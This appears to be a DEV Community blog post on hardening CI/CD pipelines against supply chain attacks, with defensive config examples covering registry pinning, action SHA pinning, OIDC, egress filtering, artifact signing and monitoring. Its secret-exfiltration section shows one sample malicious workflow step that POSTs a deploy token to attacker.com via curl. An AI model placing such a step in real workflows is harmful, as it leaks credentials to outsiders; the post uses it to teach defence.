DEV Community

Young Gao
Young Gao

Posted on

Hardening Your CI/CD Pipeline Against Supply Chain Attacks in 2026

Hardening Your CI/CD Pipeline Against Supply Chain Attacks in 2026

Supply chain attacks on CI/CD pipelines increased 740% between 2023 and 2025. The SolarWinds breach was just the beginning — attackers now routinely target build systems because a single compromised pipeline can poison every deployment downstream.

This guide covers practical, battle-tested techniques for hardening CI/CD pipelines, with working examples for GitHub Actions, GitLab CI, and Semaphore.

Why CI/CD Pipelines Are the #1 Target

Your CI/CD pipeline has:

  • Write access to production — it deploys code
  • Secrets everywhere — API keys, cloud credentials, signing keys
  • Broad trust — it runs code from every contributor
  • Minimal monitoring — most teams audit prod, not CI

A compromised pipeline is game over. Let's fix that.

Attack Vector 1: Dependency Confusion

An attacker publishes a malicious package with the same name as your internal package to a public registry. Your build system pulls the public version instead.

The Attack

# Your internal package.json references "@mycompany/utils"
# Attacker publishes "@mycompany/utils" on npm public registry
# npm install pulls the public version (higher version number wins)
Enter fullscreen mode Exit fullscreen mode

The Defense

Lock your registries explicitly:

# .npmrc — force internal packages to use your registry
@mycompany:registry=https://npm.mycompany.com/
# Pin the public registry for everything else
registry=https://registry.npmjs.org/
Enter fullscreen mode Exit fullscreen mode

Verify package integrity in CI:

# GitHub Actions
- name: Verify dependency integrity
  run: |
    npm ci --ignore-scripts  # Install without running scripts
    npm audit signatures     # Verify npm provenance signatures

    # Check for unexpected registry sources
    npm ls --all --json | jq -r '.. | .resolved? // empty' | \
      grep -v "registry.npmjs.org" | \
      grep -v "npm.mycompany.com" && \
      echo "ERROR: Unexpected package source detected!" && exit 1
Enter fullscreen mode Exit fullscreen mode

For Python, use hash pinning:

# requirements.txt with hashes
requests==2.31.0 \
  --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7f0edf3fcb0fce8afe0f44fa6867baa0 \
  --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003e
Enter fullscreen mode Exit fullscreen mode
# Semaphore CI
blocks:
  - name: "Install with integrity check"
    task:
      jobs:
        - name: verify-deps
          commands:
            - pip install --require-hashes -r requirements.txt
            - pip-audit  # Check for known vulnerabilities
Enter fullscreen mode Exit fullscreen mode

Attack Vector 2: Poisoned GitHub Actions

Third-party actions run arbitrary code in your workflow. A compromised action can exfiltrate secrets, modify build artifacts, or inject backdoors.

The Attack

# DANGEROUS: Using a tag that can be force-pushed
- uses: some-org/some-action@v2  # This tag could change tomorrow

# An attacker who gains access to the action repo can:
# 1. Push malicious code to the v2 tag
# 2. Your next CI run executes the malicious code
# 3. All your secrets are exfiltrated
Enter fullscreen mode Exit fullscreen mode

The Defense

Pin actions to commit SHAs:

# SAFE: Pin to exact commit hash
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
- uses: actions/setup-node@8f152de45cc393bb48ce5d89d36b731f54556e65  # v4.0.0
Enter fullscreen mode Exit fullscreen mode

Automate SHA pinning with Dependabot:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    # Dependabot will pin to SHAs and create PRs for updates
Enter fullscreen mode Exit fullscreen mode

Restrict action permissions:

# Minimal permissions per workflow
permissions:
  contents: read    # Only read the repo
  packages: write   # Only if publishing packages

# NEVER use permissions: write-all
Enter fullscreen mode Exit fullscreen mode

Audit third-party actions before use:

#!/bin/bash
# audit-actions.sh — Check all actions used in workflows
for workflow in .github/workflows/*.yml; do
  echo "=== $workflow ==="
  grep -E "uses: " "$workflow" | while read -r line; do
    action=$(echo "$line" | grep -oP 'uses: \K[^@]+')
    ref=$(echo "$line" | grep -oP '@\K.*')

    # Check if pinned to SHA
    if [[ ! "$ref" =~ ^[a-f0-9]{40}$ ]]; then
      echo "  WARNING: $action@$ref is NOT pinned to a SHA"
    fi

    # Check if action is from a verified org
    org=$(echo "$action" | cut -d/ -f1)
    case "$org" in
      actions|github|docker) echo "  OK: $action (official)" ;;
      *) echo "  REVIEW: $action (third-party)" ;;
    esac
  done
done
Enter fullscreen mode Exit fullscreen mode

Attack Vector 3: Secret Exfiltration via Build Logs

Secrets can leak through build output, error messages, or intentionally crafted commands.

The Attack

# A malicious PR could include:
- run: |
    # Looks innocent but exfiltrates secrets
    curl -X POST https://attacker.com/collect \
      -d "token=${{ secrets.DEPLOY_TOKEN }}" \
      2>&1 | head -1  # Suppress curl output
Enter fullscreen mode Exit fullscreen mode

The Defense

Use OIDC tokens instead of long-lived secrets:

# GitHub Actions with AWS OIDC — no stored secrets
permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
    with:
      role-to-assume: arn:aws:iam::123456789:role/ci-deploy
      aws-region: us-east-1
      # No AWS_ACCESS_KEY_ID or SECRET stored anywhere!
Enter fullscreen mode Exit fullscreen mode

Restrict secrets from PR workflows:

# Only allow secrets in protected branch workflows
on:
  push:
    branches: [main]  # Secrets available
  pull_request:       # Secrets NOT available (default for forks)
Enter fullscreen mode Exit fullscreen mode

Implement egress filtering:

# Semaphore CI — block outbound connections except allowed hosts
blocks:
  - name: "Build with network restrictions"
    task:
      env_vars:
        - name: ALLOWED_HOSTS
          value: "registry.npmjs.org,api.github.com"
      jobs:
        - name: build
          commands:
            # Set up iptables to block unauthorized outbound
            - |
              sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP
              for host in $(echo $ALLOWED_HOSTS | tr ',' '\n'); do
                ip=$(dig +short $host | head -1)
                sudo iptables -I OUTPUT -p tcp -d $ip --dport 443 -j ACCEPT
              done
            - npm ci
            - npm run build
Enter fullscreen mode Exit fullscreen mode

Attack Vector 4: Build Artifact Tampering

An attacker modifies build artifacts between the build step and deployment.

The Defense: Artifact Signing with Cosign

# GitHub Actions — sign and verify build artifacts
- name: Build
  run: docker build -t myapp:${{ github.sha }} .

- name: Sign artifact
  env:
    COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_KEY }}
  run: |
    cosign sign --key env://COSIGN_PRIVATE_KEY \
      myregistry.com/myapp:${{ github.sha }}

# In your deployment pipeline:
- name: Verify before deploy
  run: |
    cosign verify --key cosign.pub \
      myregistry.com/myapp:${{ github.sha }} || \
      (echo "SIGNATURE VERIFICATION FAILED" && exit 1)
Enter fullscreen mode Exit fullscreen mode

SLSA Build Provenance

Generate verifiable build provenance that proves where and how your artifacts were built:

# GitHub Actions with SLSA provenance
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.1.0
  with:
    image: myregistry.com/myapp
    digest: ${{ steps.build.outputs.digest }}
  permissions:
    id-token: write
    contents: read
    actions: read
    packages: write
Enter fullscreen mode Exit fullscreen mode

Attack Vector 5: Compromised Build Environment

The build runner itself could be compromised — cached data from previous builds, pre-installed malware, or tampered base images.

The Defense

Use ephemeral runners:

# GitHub Actions — self-hosted runners with ephemeral mode
# runners.yml
runners:
  - name: ephemeral-builder
    image: ubuntu:22.04
    ephemeral: true  # Destroyed after each job
    # Fresh environment every time — no persistence between builds
Enter fullscreen mode Exit fullscreen mode

Verify base images:

# Pin base images by digest, not tag
FROM node:20@sha256:a4d1de4c5c8e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e

# Verify in CI
- name: Verify base image
  run: |
    expected="sha256:a4d1de4c5..."
    actual=$(docker inspect --format='{{index .RepoDigests 0}}' node:20)
    [ "$actual" = "docker.io/library/node@$expected" ] || exit 1
Enter fullscreen mode Exit fullscreen mode

The Complete Pipeline Hardening Checklist

# .github/workflows/hardened-build.yml
name: Hardened Build Pipeline

on:
  push:
    branches: [main]

# Minimal permissions
permissions:
  contents: read
  id-token: write
  packages: write

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 15  # Kill hung builds

    steps:
      # 1. Pin all actions to SHAs
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
        with:
          persist-credentials: false  # Don't leave git credentials around

      # 2. Verify dependencies
      - name: Install with integrity check
        run: |
          npm ci --ignore-scripts
          npm audit signatures
          npm audit --audit-level=high

      # 3. Build in restricted environment
      - name: Build
        env:
          NODE_ENV: production
        run: |
          npm run build
          # Generate SBOM
          npx @cyclonedx/cyclonedx-npm --output-file sbom.json

      # 4. Sign artifacts
      - name: Sign with Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da
      - run: cosign sign-blob --yes --output-signature dist.sig dist/

      # 5. Generate SLSA provenance
      - name: Generate provenance
        uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0
        with:
          base64-subjects: ${{ steps.hash.outputs.hashes }}
Enter fullscreen mode Exit fullscreen mode

Monitoring: Catch What Prevention Misses

Even with hardening, you need detection:

# ci_monitor.py — Alert on suspicious CI activity
import json
import requests
from datetime import datetime, timedelta

def check_workflow_anomalies(repo: str, token: str):
    """Detect suspicious CI patterns."""
    headers = {"Authorization": f"token {token}"}

    # Get recent workflow runs
    url = f"https://api.github.com/repos/{repo}/actions/runs"
    runs = requests.get(url, headers=headers).json()["workflow_runs"]

    alerts = []
    for run in runs:
        # Alert 1: Workflow modified and run on same commit
        if run["event"] == "push":
            files_url = f"https://api.github.com/repos/{repo}/commits/{run['head_sha']}"
            files = requests.get(files_url, headers=headers).json().get("files", [])
            workflow_modified = any(
                f["filename"].startswith(".github/workflows/")
                for f in files
            )
            if workflow_modified:
                alerts.append(f"ALERT: Workflow modified in {run['head_sha'][:8]}")

        # Alert 2: Unusual run duration (potential cryptomining)
        if run["status"] == "completed":
            start = datetime.fromisoformat(run["created_at"].replace("Z", "+00:00"))
            end = datetime.fromisoformat(run["updated_at"].replace("Z", "+00:00"))
            duration = (end - start).total_seconds()
            if duration > 3600:  # > 1 hour
                alerts.append(f"ALERT: Long run ({duration}s): {run['name']}")

        # Alert 3: Failed then immediately re-run (brute force attempt)
        if run["conclusion"] == "failure" and run["run_attempt"] > 3:
            alerts.append(f"ALERT: Multiple retries: {run['name']} (attempt {run['run_attempt']})")

    return alerts
Enter fullscreen mode Exit fullscreen mode

Key Takeaways

Attack Vector Primary Defense Detection
Dependency confusion Registry scoping + hash pinning Audit unexpected sources
Poisoned actions SHA pinning + Dependabot Monitor action references
Secret exfiltration OIDC + egress filtering Log outbound connections
Artifact tampering Cosign signing + SLSA provenance Verify before deploy
Compromised runners Ephemeral instances + image pinning Duration anomaly alerts

The most impactful single change: Switch from long-lived secrets to OIDC federation. This eliminates the entire class of secret exfiltration attacks while requiring minimal workflow changes.


Based on hands-on experience hardening production CI/CD pipelines and security audits of major ML framework build systems.

Top comments (0)